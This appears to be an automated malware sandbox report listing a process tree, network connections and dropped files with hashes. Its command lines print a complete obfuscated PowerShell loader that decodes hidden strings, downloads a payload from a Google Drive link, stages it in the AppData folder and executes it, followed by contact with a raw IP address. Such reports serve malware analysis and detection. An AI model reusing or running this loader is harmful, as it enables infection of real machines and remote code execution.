');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/2788-4-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp

memory/2788-5-0x000000001B560000-0x000000001B842000-memory.dmp

memory/2788-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

memory/2788-7-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2788-8-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2788-9-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2788-10-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2788-11-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2788-13-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YOFMSRZSZEZA5Z8HHUV8.temp

MD5 237f049dca34c0d068a6a5e13c5eede7
SHA1 98b26cb639d69e94a057c8f818dd095445989865
SHA256 e053ab953eb13bc51c9b9b3c8d1cd101b7a529617ba15aa51315468529f1096b
SHA512 2de1c645d5c7d8677d98747707d674af6da50aea646cf45f226de0c766b1bae7aaaf67cda27c0c01bba016c75ab356721ec1fe631c9962d6d2b8eee1b5159517

memory/2788-17-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp

C:\Users\Admin\AppData\Roaming\Fejres.Ind

MD5 14838f971ce22130c51b9a7cc01b590a
SHA1 e368099b26f7b1778b784f1057daee1ac1f0dcd8
SHA256 c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373
SHA512 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026

memory/2788-19-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/3068-20-0x0000000006650000-0x00000000098A7000-memory.dmp

memory/3032-21-0x0000000000CA0000-0x0000000003EF7000-memory.dmp

memory/3032-44-0x0000000000400000-0x0000000000581000-memory.dmp

memory/3032-45-0x0000000000CA0000-0x0000000003EF7000-memory.dmp

memory/2788-46-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b